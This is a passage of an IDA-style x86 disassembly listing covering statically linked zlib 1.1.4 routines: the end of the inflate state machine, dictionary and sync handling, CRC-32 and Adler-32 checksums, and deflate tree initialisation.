		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	dword ptr [eax], 0Bh


loc_4C114C:				; CODE XREF: sub_4C0B75+63j
					; DATA XREF: .text:004C123Ao
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+4], 0
		jnz	short loc_4C115D
		mov	eax, [ebp+var_8]
		jmp	loc_4C120A
; ---------------------------------------------------------------------------


loc_4C115D:				; CODE XREF: sub_4C0B75+5DEj
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		sub	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+4], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		xor	edx, edx
		mov	dl, [eax]
		mov	eax, [ecx+8]
		add	eax, edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	[edx+8], eax
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	ecx, [ecx+4]
		cmp	ecx, [eax+8]
		jz	short loc_4C11E4
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	dword ptr [eax], 0Dh
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+18h], offset aIncorrectDataC ; "incorrect data check"
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	dword ptr [eax+4], 5
		jmp	short loc_4C1205
; ---------------------------------------------------------------------------


loc_4C11E4:				; CODE XREF: sub_4C0B75+648j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	dword ptr [edx], 0Ch


loc_4C11F0:				; CODE XREF: sub_4C0B75+63j
					; DATA XREF: .text:004C123Eo
		mov	eax, 1
		jmp	short loc_4C120A
; ---------------------------------------------------------------------------


loc_4C11F7:				; CODE XREF: sub_4C0B75+63j
					; DATA XREF: .text:004C1242o
		mov	eax, 0FFFFFFFDh
		jmp	short loc_4C120A
; ---------------------------------------------------------------------------


loc_4C11FE:				; CODE XREF: sub_4C0B75+5Aj
		mov	eax, 0FFFFFFFEh
		jmp	short loc_4C120A
; ---------------------------------------------------------------------------


loc_4C1205:				; CODE XREF: sub_4C0B75+F2j
					; sub_4C0B75+134j ...
		jmp	loc_4C0BB3
; ---------------------------------------------------------------------------


loc_4C120A:				; CODE XREF: sub_4C0B75+22j
					; sub_4C0B75+45j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4C0B75	endp

; ---------------------------------------------------------------------------
off_4C120E	dd offset loc_4C0BDF	; DATA XREF: sub_4C0B75+63r
		dd offset loc_4C0CBA
		dd offset loc_4C0D73
		dd offset loc_4C0DD6
		dd offset loc_4C0E44
		dd offset loc_4C0EB2
		dd offset loc_4C0F36
		dd offset loc_4C0F63
		dd offset loc_4C100D
		dd offset loc_4C1070
		dd offset loc_4C10DE
		dd offset loc_4C114C
		dd offset loc_4C11F0
		dd offset loc_4C11F7
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+10h]
		mov	[ebp-4], eax
		cmp	dword ptr [ebp+8], 0
		jz	short loc_4C126A
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+1Ch], 0
		jz	short loc_4C126A
		mov	edx, [ebp+8]
		mov	eax, [edx+1Ch]
		cmp	dword ptr [eax], 6
		jz	short loc_4C1274


loc_4C126A:				; CODE XREF: .text:004C1254j
					; .text:004C125Dj
		mov	eax, 0FFFFFFFEh
		jmp	loc_4C1300
; ---------------------------------------------------------------------------


loc_4C1274:				; CODE XREF: .text:004C1268j
		mov	ecx, [ebp+10h]
		push	ecx
		mov	edx, [ebp+0Ch]
		push	edx
		push	1
		call	sub_4C16E0
		add	esp, 0Ch
		mov	ecx, [ebp+8]
		cmp	eax, [ecx+30h]
		jz	short loc_4C1295
		mov	eax, 0FFFFFFFDh
		jmp	short loc_4C1300
; ---------------------------------------------------------------------------


loc_4C1295:				; CODE XREF: .text:004C128Cj
		mov	edx, [ebp+8]
		mov	dword ptr [edx+30h], 1
		mov	eax, [ebp+8]
		mov	ecx, [eax+1Ch]
		mov	edx, 1
		mov	ecx, [ecx+10h]
		shl	edx, cl
		cmp	[ebp-4], edx
		jb	short loc_4C12D8
		mov	eax, [ebp+8]
		mov	ecx, [eax+1Ch]
		mov	edx, 1
		mov	ecx, [ecx+10h]
		shl	edx, cl
		sub	edx, 1
		mov	[ebp-4], edx
		mov	eax, [ebp+10h]
		sub	eax, [ebp-4]
		mov	ecx, [ebp+0Ch]
		add	ecx, eax
		mov	[ebp+0Ch], ecx


loc_4C12D8:				; CODE XREF: .text:004C12B2j
		mov	edx, [ebp-4]
		push	edx
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		mov	edx, [ecx+1Ch]
		mov	eax, [edx+14h]
		push	eax
		call	sub_4C62F8
		add	esp, 0Ch
		mov	ecx, [ebp+8]
		mov	edx, [ecx+1Ch]
		mov	dword ptr [edx], 7
		xor	eax, eax


loc_4C1300:				; CODE XREF: .text:004C126Fj
					; .text:004C1293j
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		cmp	dword ptr [ebp+8], 0
		jz	short loc_4C1319
		mov	eax, [ebp+8]
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_4C1323


loc_4C1319:				; CODE XREF: .text:004C130Ej
		mov	eax, 0FFFFFFFEh
		jmp	loc_4C1452
; ---------------------------------------------------------------------------


loc_4C1323:				; CODE XREF: .text:004C1317j
		mov	ecx, [ebp+8]
		mov	edx, [ecx+1Ch]
		cmp	dword ptr [edx], 0Dh
		jz	short loc_4C1347
		mov	eax, [ebp+8]
		mov	ecx, [eax+1Ch]
		mov	dword ptr [ecx], 0Dh
		mov	edx, [ebp+8]
		mov	eax, [edx+1Ch]
		mov	dword ptr [eax+4], 0


loc_4C1347:				; CODE XREF: .text:004C132Cj
		mov	ecx, [ebp+8]
		mov	edx, [ecx+4]
		mov	[ebp-14h], edx
		cmp	dword ptr [ebp-14h], 0
		jnz	short loc_4C1360
		mov	eax, 0FFFFFFFBh
		jmp	loc_4C1452
; ---------------------------------------------------------------------------


loc_4C1360:				; CODE XREF: .text:004C1354j
		mov	eax, [ebp+8]
		mov	ecx, [eax]
		mov	[ebp-4], ecx
		mov	edx, [ebp+8]
		mov	eax, [edx+1Ch]
		mov	ecx, [eax+4]
		mov	[ebp-10h], ecx


loc_4C1374:				; CODE XREF: .text:004C13D2j
		cmp	dword ptr [ebp-14h], 0
		jz	short loc_4C13D4
		cmp	dword ptr [ebp-10h], 4
		jnb	short loc_4C13D4
		mov	edx, [ebp-4]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, [ebp-10h]
		xor	edx, edx
		mov	dl, byte_4F2058[ecx]
		cmp	eax, edx
		jnz	short loc_4C13A1
		mov	eax, [ebp-10h]
		add	eax, 1
		mov	[ebp-10h], eax
		jmp	short loc_4C13C0
; ---------------------------------------------------------------------------


loc_4C13A1:				; CODE XREF: .text:004C1394j
		mov	ecx, [ebp-4]
		xor	edx, edx
		mov	dl, [ecx]
		test	edx, edx
		jz	short loc_4C13B5
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_4C13C0
; ---------------------------------------------------------------------------


loc_4C13B5:				; CODE XREF: .text:004C13AAj
		mov	eax, 4
		sub	eax, [ebp-10h]
		mov	[ebp-10h], eax


loc_4C13C0:				; CODE XREF: .text:004C139Fj
					; .text:004C13B3j
		mov	ecx, [ebp-4]
		add	ecx, 1
		mov	[ebp-4], ecx
		mov	edx, [ebp-14h]
		sub	edx, 1
		mov	[ebp-14h], edx
		jmp	short loc_4C1374
; ---------------------------------------------------------------------------


loc_4C13D4:				; CODE XREF: .text:004C1378j
					; .text:004C137Ej
		mov	eax, [ebp+8]
		mov	ecx, [ebp-4]
		sub	ecx, [eax]
		mov	edx, [ebp+8]
		mov	eax, [edx+8]
		add	eax, ecx
		mov	ecx, [ebp+8]
		mov	[ecx+8], eax
		mov	edx, [ebp+8]
		mov	eax, [ebp-4]
		mov	[edx], eax
		mov	ecx, [ebp+8]
		mov	edx, [ebp-14h]
		mov	[ecx+4], edx
		mov	eax, [ebp+8]
		mov	ecx, [eax+1Ch]
		mov	edx, [ebp-10h]
		mov	[ecx+4], edx
		cmp	dword ptr [ebp-10h], 4
		jz	short loc_4C1414
		mov	eax, 0FFFFFFFDh
		jmp	short loc_4C1452
; ---------------------------------------------------------------------------


loc_4C1414:				; CODE XREF: .text:004C140Bj
		mov	eax, [ebp+8]
		mov	ecx, [eax+8]
		mov	[ebp-8], ecx
		mov	edx, [ebp+8]
		mov	eax, [edx+14h]
		mov	[ebp-0Ch], eax
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_4C0920
		add	esp, 4
		mov	edx, [ebp+8]
		mov	eax, [ebp-8]
		mov	[edx+8], eax
		mov	ecx, [ebp+8]
		mov	edx, [ebp-0Ch]
		mov	[ecx+14h], edx
		mov	eax, [ebp+8]
		mov	ecx, [eax+1Ch]
		mov	dword ptr [ecx], 7
		xor	eax, eax


loc_4C1452:				; CODE XREF: .text:004C131Ej
					; .text:004C135Bj ...
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		cmp	dword ptr [ebp+8], 0
		jz	short loc_4C1474
		mov	eax, [ebp+8]
		cmp	dword ptr [eax+1Ch], 0
		jz	short loc_4C1474
		mov	ecx, [ebp+8]
		mov	edx, [ecx+1Ch]
		cmp	dword ptr [edx+14h], 0
		jnz	short loc_4C147B


loc_4C1474:				; CODE XREF: .text:004C145Dj
					; .text:004C1466j
		mov	eax, 0FFFFFFFEh
		jmp	short loc_4C148D
; ---------------------------------------------------------------------------


loc_4C147B:				; CODE XREF: .text:004C1472j
		mov	eax, [ebp+8]
		mov	ecx, [eax+1Ch]
		mov	edx, [ecx+14h]
		push	edx
		call	sub_4C632F
		add	esp, 4


loc_4C148D:				; CODE XREF: .text:004C1479j
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, offset dword_4F205C
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4C149A	proc near		; CODE XREF: sub_490FB0+12p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		jnz	short loc_4C14AA
		xor	eax, eax
		jmp	loc_4C1673
; ---------------------------------------------------------------------------


loc_4C14AA:				; CODE XREF: sub_4C149A+7j
		mov	eax, [ebp+arg_0]
		xor	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax


loc_4C14B3:				; CODE XREF: sub_4C149A+18Cj
		cmp	[ebp+arg_8], 8
		jb	loc_4C162B
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+arg_0]
		xor	eax, edx
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		shr	ecx, 8
		mov	edx, dword_4F205C[eax*4]
		xor	edx, ecx
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+arg_0]
		xor	eax, edx
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		shr	ecx, 8
		mov	edx, dword_4F205C[eax*4]
		xor	edx, ecx
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+arg_0]
		xor	eax, edx
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		shr	ecx, 8
		mov	edx, dword_4F205C[eax*4]
		xor	edx, ecx
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+arg_0]
		xor	eax, edx
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		shr	ecx, 8
		mov	edx, dword_4F205C[eax*4]
		xor	edx, ecx
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+arg_0]
		xor	eax, edx
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		shr	ecx, 8
		mov	edx, dword_4F205C[eax*4]
		xor	edx, ecx
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+arg_0]
		xor	eax, edx
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		shr	ecx, 8
		mov	edx, dword_4F205C[eax*4]
		xor	edx, ecx
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+arg_0]
		xor	eax, edx
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		shr	ecx, 8
		mov	edx, dword_4F205C[eax*4]
		xor	edx, ecx
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+arg_0]
		xor	eax, edx
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		shr	ecx, 8
		mov	edx, dword_4F205C[eax*4]
		xor	edx, ecx
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_8]
		sub	ecx, 8
		mov	[ebp+arg_8], ecx
		jmp	loc_4C14B3
; ---------------------------------------------------------------------------


loc_4C162B:				; CODE XREF: sub_4C149A+1Dj
		cmp	[ebp+arg_8], 0
		jz	short loc_4C166D


loc_4C1631:				; CODE XREF: sub_4C149A+1D1j
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, [ebp+arg_0]
		xor	ecx, eax
		and	ecx, 0FFh
		mov	edx, [ebp+arg_0]
		shr	edx, 8
		mov	eax, dword_4F205C[ecx*4]
		xor	eax, edx
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_4]
		add	ecx, 1
		mov	[ebp+arg_4], ecx
		mov	edx, [ebp+arg_8]
		sub	edx, 1
		mov	[ebp+arg_8], edx
		cmp	[ebp+arg_8], 0
		jnz	short loc_4C1631


loc_4C166D:				; CODE XREF: sub_4C149A+195j
		mov	eax, [ebp+arg_0]
		xor	eax, 0FFFFFFFFh


loc_4C1673:				; CODE XREF: sub_4C149A+Bj
		pop	ebp
		retn
sub_4C149A	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, offset a1_1_4_0 ; "1.1.4"
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 2
		sub	eax, [ebp+8]
		mov	eax, off_4EDE68[eax*4]
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4C169E(int,size_t Size,int)

sub_4C169E	proc near		; DATA XREF: sub_4BE535+5Co
					; sub_4C09F4+50o

arg_0		= dword	ptr  8
Size		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0
		jz	short loc_4C16B5
		mov	eax, [ebp+arg_8]
		sub	eax, [ebp+arg_8]
		mov	ecx, [ebp+Size]
		add	ecx, eax
		mov	[ebp+Size], ecx


loc_4C16B5:				; CODE XREF: sub_4C169E+7j
		mov	edx, [ebp+arg_8]
		push	edx		; int
		mov	eax, [ebp+Size]
		push	eax		; Size
		call	sub_4CA24A
		add	esp, 8
		pop	ebp
		retn
sub_4C169E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4C16C7	proc near		; DATA XREF: sub_4BE535+79o
					; sub_4C09F4+6Do

arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_4CA2FB
		add	esp, 4
		pop	ebp
		retn
sub_4C16C7	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4C16E0	proc near		; CODE XREF: .text:004BE878p
					; sub_4BF90B+51p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFh
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_0]
		shr	ecx, 10h
		and	ecx, 0FFFFh
		mov	[ebp+var_8], ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_4C1710
		mov	eax, 1
		jmp	loc_4C1953
; ---------------------------------------------------------------------------


loc_4C1710:				; CODE XREF: sub_4C16E0+24j
					; sub_4C16E0+265j
		cmp	[ebp+arg_8], 0
		jbe	loc_4C194A
		cmp	[ebp+arg_8], 15B0h
		jnb	short loc_4C172B
		mov	edx, [ebp+arg_8]
		mov	[ebp+var_10], edx
		jmp	short loc_4C1732
; ---------------------------------------------------------------------------


loc_4C172B:				; CODE XREF: sub_4C16E0+41j
		mov	[ebp+var_10], 15B0h


loc_4C1732:				; CODE XREF: sub_4C16E0+49j
		mov	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+arg_8]
		sub	ecx, [ebp+var_C]
		mov	[ebp+arg_8], ecx


loc_4C1741:				; CODE XREF: sub_4C16E0+20Cj
		cmp	[ebp+var_C], 10h
		jl	loc_4C18F1
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_8]
		add	edx, [ebp+var_4]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		mov	cl, [eax+1]
		mov	edx, [ebp+var_4]
		add	edx, ecx
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx+2]
		mov	eax, [ebp+var_4]
		add	eax, edx
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_8]
		add	ecx, [ebp+var_4]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx+3]
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_8]
		add	edx, [ebp+var_4]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		mov	cl, [eax+4]
		mov	edx, [ebp+var_4]
		add	edx, ecx
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx+5]
		mov	eax, [ebp+var_4]
		add	eax, edx
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_8]
		add	ecx, [ebp+var_4]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx+6]
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_8]
		add	edx, [ebp+var_4]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		mov	cl, [eax+7]
		mov	edx, [ebp+var_4]
		add	edx, ecx
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx+8]
		mov	eax, [ebp+var_4]
		add	eax, edx
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_8]
		add	ecx, [ebp+var_4]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx+9]
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_8]
		add	edx, [ebp+var_4]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		mov	cl, [eax+0Ah]
		mov	edx, [ebp+var_4]
		add	edx, ecx
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx+0Bh]
		mov	eax, [ebp+var_4]
		add	eax, edx
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_8]
		add	ecx, [ebp+var_4]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx+0Ch]
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_8]
		add	edx, [ebp+var_4]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		mov	cl, [eax+0Dh]
		mov	edx, [ebp+var_4]
		add	edx, ecx
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx+0Eh]
		mov	eax, [ebp+var_4]
		add	eax, edx
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_8]
		add	ecx, [ebp+var_4]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx+0Fh]
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_8]
		add	edx, [ebp+var_4]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_4]
		add	eax, 10h
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+var_C]
		sub	ecx, 10h
		mov	[ebp+var_C], ecx
		jmp	loc_4C1741
; ---------------------------------------------------------------------------


loc_4C18F1:				; CODE XREF: sub_4C16E0+65j
		cmp	[ebp+var_C], 0
		jz	short loc_4C1927


loc_4C18F7:				; CODE XREF: sub_4C16E0+245j
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_4]
		add	edx, 1
		mov	[ebp+arg_4], edx
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_C]
		sub	ecx, 1
		mov	[ebp+var_C], ecx
		cmp	[ebp+var_C], 0
		jnz	short loc_4C18F7


loc_4C1927:				; CODE XREF: sub_4C16E0+215j
		mov	eax, [ebp+var_4]
		xor	edx, edx
		mov	ecx, 0FFF1h
		div	ecx
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 0FFF1h
		div	ecx
		mov	[ebp+var_8], edx
		jmp	loc_4C1710
; ---------------------------------------------------------------------------


loc_4C194A:				; CODE XREF: sub_4C16E0+34j
		mov	eax, [ebp+var_8]
		shl	eax, 10h
		or	eax, [ebp+var_4]


loc_4C1953:				; CODE XREF: sub_4C16E0+2Bj
		mov	esp, ebp
		pop	ebp
		retn
sub_4C16E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4C1960	proc near		; CODE XREF: sub_4BE9C1+B7p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		call	__initp_misc_winxfltr
		mov	eax, [ebp+arg_0]
		add	eax, 8Ch
		mov	ecx, [ebp+arg_0]
		mov	[ecx+0B10h], eax
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+0B18h], offset off_4EDF18
		mov	eax, [ebp+arg_0]
		add	eax, 980h
		mov	ecx, [ebp+arg_0]
		mov	[ecx+0B1Ch], eax
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+0B24h], offset off_4EDF30
		mov	eax, [ebp+arg_0]
		add	eax, 0A74h
		mov	ecx, [ebp+arg_0]
		mov	[ecx+0B28h], eax
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+0B30h], offset dword_4EDF48
		mov	eax, [ebp+arg_0]
		mov	word ptr [eax+16B0h], 0
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+16B4h], 0
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+16ACh], 8
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4C19FB
		add	esp, 4
		pop	ebp
		retn
sub_4C1960	endp

; [00000005 BYTES: COLLAPSED FUNCTION __initp_misc_winxfltr. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4C19FB	proc near		; CODE XREF: sub_4C1960+8Cp
					; sub_4C20F2+39Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0
		jmp	short loc_4C1A11
; ---------------------------------------------------------------------------


loc_4C1A08:				; CODE XREF: sub_4C19FB+2Fj
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_4C1A11:				; CODE XREF: sub_4C19FB+Bj
		cmp	[ebp+var_4], 11Eh
		jge	short loc_4C1A2C
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		mov	word ptr [edx+ecx*4+8Ch], 0
		jmp	short loc_4C1A08
; ---------------------------------------------------------------------------


loc_4C1A2C:				; CODE XREF: sub_4C19FB+1Dj
		mov	[ebp+var_4], 0
		jmp	short loc_4C1A3E
; ---------------------------------------------------------------------------


loc_4C1A35:				; CODE XREF: sub_4C19FB+59j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_4C1A3E:				; CODE XREF: sub_4C19FB+38j
		cmp	[ebp+var_4], 1Eh
		jge	short loc_4C1A56
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		mov	word ptr [edx+ecx*4+980h], 0
		jmp	short loc_4C1A35
; ---------------------------------------------------------------------------


loc_4C1A56:				; CODE XREF: sub_4C19FB+47j
		mov	[ebp+var_4], 0
		jmp	short loc_4C1A68
; ---------------------------------------------------------------------------


loc_4C1A5F:				; CODE XREF: sub_4C19FB+83j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_4C1A68:				; CODE XREF: sub_4C19FB+62j
		cmp	[ebp+var_4], 13h
		jge	short loc_4C1A80
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		mov	word ptr [edx+ecx*4+0A74h], 0
		jmp	short loc_4C1A5F
; ---------------------------------------------------------------------------


loc_4C1A80:				; CODE XREF: sub_4C19FB+71j
		mov	eax, [ebp+arg_0]
		mov	word ptr [eax+48Ch], 1
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+16A4h], 0
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+16A0h], 0
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+16A8h], 0
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+1698h], 0
		mov	esp, ebp
		pop	ebp
		retn
sub_4C19FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4C1AC4	proc near		; CODE XREF: sub_4BEBAE+2B4p
					; sub_4C20F2+D1p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_4], 3
		mov	eax, 10h
		sub	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		cmp	[ecx+16B4h], eax
		jle	loc_4C1BAF
		mov	edx, [ebp+arg_C]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	ecx, [eax+16B4h]
		shl	edx, cl
		mov	eax, [ebp+arg_0]
